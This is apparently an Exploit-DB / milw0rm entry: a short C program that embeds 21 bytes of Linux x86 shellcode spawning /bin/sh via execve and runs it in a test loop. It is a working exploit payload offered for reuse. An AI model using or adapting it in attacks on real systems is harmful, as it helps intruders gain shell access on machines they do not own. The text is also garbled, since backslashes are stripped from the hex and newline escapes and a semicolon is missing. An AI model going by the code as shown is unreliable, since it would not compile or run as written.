https://www.exploit-db.com/exploits/13409

漏洞细节尚未披露

/*
 lnx_binsh4.c - v1 - 21 Byte /bin/sh Opcode Array Payload
 Copyright(c) 2004 c0ntex <[email protected]>
 
 This program is free software; you can redistribute it and/or modify
 it under the terms of the GNU General Public License as published by
 the Free Software Foundation; either version 2 of the License, or
 (at your option) any later version.
  
 This program is distributed in the hope that it will be useful,
 but WITHOUT ANY WARRANTY; without even the implied warranty of
 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 GNU General Public License for more details.
  
 You should have received a copy of the GNU General Public License
 along with this program; if not, write to the Free Software
 Foundation, Inc., 59 Temple Place, Suite 330, Boston,
 MA  02111-1307  USA
*/

/*
 Calling: execve(/bin/sh)
*/

#include <stdio.h>

typedef char wikkid;

wikkid oPc0d3z[] = "x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1xb0x0bxcdx80"

unsigned long grab_esp()
{
		__asm__("
		          xorl %eax,%eax
	  	          movl %eax,%ebx
	  	          movl %esp,%eax
	  	");
}

int main(void)
{
	unsigned long delta;
	void (*pointer)();

	delta = grab_esp();

	fprintf(stderr, "n[-] Stack Pointer found -> [0x%x]n", delta);
	fprintf(stderr, "t[-] Size of payload egg -> [%d]n", sizeof(oPc0d3z));

	pointer=(void*)&oPc0d3z;

	while(pointer) {
		fprintf(stderr, "t[-] Payload Begin -> [0x%x]n", pointer);
		fprintf(stderr, "t[-] Payload End   -> [0x%x]nn", pointer+21);
		pointer();
	}

	_exit(0x01);
}

// milw0rm.com [2005-09-15]